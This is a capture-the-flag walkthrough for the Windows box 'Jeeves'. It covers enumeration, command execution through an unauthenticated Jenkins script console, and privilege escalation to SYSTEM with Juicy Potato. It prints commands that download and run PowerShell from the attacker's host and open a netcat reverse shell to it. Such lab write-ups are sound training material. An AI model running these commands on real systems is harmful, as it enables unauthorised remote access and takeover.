# Jeeves

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/bJONPGEA6fsahrZVvCKZ/image.png)

## Reconnaissance <a href="#id-491d" id="id-491d"></a>

First we want to run a initial nmap scan to see what ports are open and what services are on those ports.

```hcl
nmap -sC -sV -oA nmap/init 10.129.174.184
```

* **-sC**: run default nmap scripts
* **-sV**: detect service version
* **-oA**: output all formats to *nmap/initial*

We get back the following information:

{% code title="init.nmap" %}

```hcl
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 20:19 EDT
Nmap scan report for 10.129.174.184
Host is up (0.034s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-03-24T05:19:57
|_  start_date: 2022-03-24T05:08:21
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 4h59m58s, deviation: 0s, median: 4h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.19 secondshcl
```

{% endcode %}

## Enumeration

### Passive Enumeration

#### IIS Directory Enumeration

```bash
gobuster dir -u http://10.129.174.184 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o iis.txt
```

#### Jetty Directory Enumeration

```
gobuster dir -u http://10.129.174.184:50000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o iis.txt
```

### Active Enumeration

#### Exploring IIS

Looking at the http site we are presented with a search bar

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/iKKPd8gwik1UFirUGsCb/image.png)

Searching takes you to error.html which turns out to just be an image

![error.html](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/mp8hhmgy3rPP08bVY3Hv/image.png)

Source code for site, the action results in error.html

```html
<!DOCTYPE html>
<html>
<head>
<title>Ask Jeeves</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>

<body>
<form class="form-wrapper cf" action="error.html">
    <div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div>
  	<input type="text" placeholder="Search here..." required>
	  <button type="submit">Search</button>
    <div class="byline-bot">Skins</div>
</form>
</body>

</html>
```

#### Exploring Jetty

Quickly checking gobuster for jetty shows that we have a directory to check out

![/askjeeves](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/bQjeziRVzGeKo4LFFipe/image.png)

Going there we see Jenkins!

![Jenkins](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/19OZXZCE3OPocTK5pVcA/image.png)

Turns out we have command execution without needing to be logged in which works in our favor

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/NdCJaKVDKVVohchie01U/image.png)

## Initial Access

Using Nishang Invoke-PowerShellTcp.ps1 script we can create a reverse shell and get access to the box

{% embed url="<https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>" %}

First we want to copy the example to the bottom of the script so that it is run when copied to the machine we are attacking

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/zrsynLTpNmerMQ9nvnos/image.png)

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/7KKqusQBeUuq8G99Fws7/image.png)

Next we want to get a web server running and a netcat listener to catch the reverse shell. In this se I am using [updog](https://github.com/sc0tfree/updog) for my simple web server.

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/nkaUvPFDtzHrZF2cHWPl/image.png)

Using the script console again I run this command to download and execute the invoke powershell tcp reverse shell script

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/jZOrcoKlFCXWSe6aZtmI/image.png)

And we get a shell back!

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/JT938rSo6OJGl79deu5W/image.png)

This allows us to get user.txt!

## Privilege Escalation

### Juicy Potato

Next we want to run PowerUp.ps1 however we want to use the dev branch as it has extra checks

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/tree/dev>" %}

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/1YLxtHJYJkO5hldlL2aV/image.png)

Then we want to run these commands in our reverse shell

```powershell
IEX(New-Object Net.WebCLient).downloadString('http://10.10.14.92/PowerUp.ps1')
Invoke-AllChecks # This runs the powershell function to check everything
```

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/mScPaZGjzYofCxfGoSV2/image.png)

Right away we see SeImpersonatePrivilege which means this box is vulnerable to Juicy Potato!

{% embed url="<https://github.com/ohpe/juicy-potato>" %}

We first need to download JuicyPotato.exe to the box which I am hosting from my kali box

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/AM3bUjDOYNwpjLyeyOVa/image.png)

We need to copy kali's nc.exe to the windows box

```powershell
# nc.exe is located /usr/share/windows-resources/binaries/nc.exe on kali
Invoke-WebRequest "http://10.10.14.92/nc.exe" -OutFile "nc.exe"
```

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/lcs1MNF8ARfrXubBpkpZ/image.png)

Next we want to run JuicyPotato!

This is the input I used:

* **-t: \***
* **-p:** c:\windows\system32\cmd.exe
* **-a:** "/c c:\users\kohsuke\desktop\nc.exe -e cmd.exe 10.10.14.92 9001"
* **-l:** 9001

```powershell
cmd /c jp.exe -l 9001 -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\desktop\nc.exe -e cmd.exe 10.10.14.92 9001" -t *
```

![Got a shell](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/8D8JGZ943LB32rKhO3wH/image.png)

We got nt authority\system!

When we try and take a look at the administrators desktop we see hm.txt with an interesting message

![](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/XHd8yzx3akwE1Vs3nADd/image.png)

Then I tried this

![Alternate Data Streams](https://content.gitbook.com/content/ue6nb9INP8oovJ2WDb8T/blobs/Uz0ae4wB8w29p43LZFIF/image.png)

Alternate Data Streams, find more about them here

{% embed url="<https://owasp.org/www-community/attacks/Windows_alternate_data_stream>" %}

<details>

<summary>We can direct this into more and get the flag</summary>

```
C:\Users\Administrator\Desktop>more < hm.txt:root.txt
more < hm.txt:root.txt
afbc5bd4b615a606 # Only first 16 bytes of hash shown
```

</details>

## Lessons Learned

* Restrict who can access the Jenkins management as this opens up unauthorized access
* In some instances a file using alternate data streams could be an indicator of compromise
* Be careful of which service users have SeImpersonatePrivilege as this could allow an attacker to easily escelate their privileges
